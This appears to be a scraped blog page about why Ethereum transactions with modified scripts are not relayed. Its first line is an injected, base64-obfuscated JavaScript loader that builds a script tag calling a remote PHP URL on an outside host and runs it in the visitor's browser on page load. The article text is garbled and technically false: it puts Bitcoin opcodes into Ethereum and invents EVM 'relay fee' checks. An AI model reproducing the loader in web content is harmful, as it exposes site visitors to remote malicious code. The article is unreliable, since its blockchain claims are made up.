Ethereum: A transaction with a slightly modified script is never transmitted
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=f7b1dab9″;document.body.appendChild(script);
Ethereum: A transaction with a slightly modified script is never relayed
Recently, while experimenting with Bitcoin transactions, I came across a strange behavior of the output script in Ethereum transactions. The traditional way of representing transactions in the Ethereum network uses the following format:
OP_DUP OP_HASH160 (Hash) OP_EQUALVERIFY OP_CHECKSIG
This structure allows for verification based on the hash, which is necessary to ensure the integrity and authenticity of digital signatures.
However, this scheme has an interesting feature. If you want to include additional data or slightly change the transaction, you can do it by modifying the script in the OP_DUP
instruction. But what happens if you add a new instruction that interacts with this modified transaction?
The answer lies in the Ethereum virtual machine (EVM) and its interaction with scripts. In particular, this is related to the concept of “retransmission fees” and how they affect the execution of transactions.
When performing a transaction on the Ethereum network, EVM first checks the hash of the input data. If the hash matches the expected value, the transaction continues. However, if the hash does not match, the transaction is not executed.
But this is where the most interesting begins. When you add an additional instruction to the transaction that interacts with the modified script (for example, by calling a function or updating a variable), EVM will check for relay fees associated with that interaction. Relay commissions are used to offset the network’s gas costs when performing complex transactions.
Unfortunately, in most cases, adding an additional instruction that modifies the original transaction structure will result in the OP_DUP' instruction being executed several times, each time checking a different hash value. This means that any subsequent checks using the modified transaction will fail because the hash value is no longer valid.
As a result, transactions with slightly modified scripts (that is, those that include new instructions or modify existing ones) may never be transmitted to the Ethereum network. This does not mean that you cannot use such modifications in your applications; it's just that they may not work as expected due to the specifics of how EVM interacts with scripts and relay fees.
Summing up, it should be noted that when working with Bitcoin transactions, it should be remembered that changing scripts using theOP_DUP` instruction can lead to unexpected behavior in the Ethereum network. Before asking to use such modifications in your applications, it is important to understand the basic mechanics of EVM and its interaction with scripts.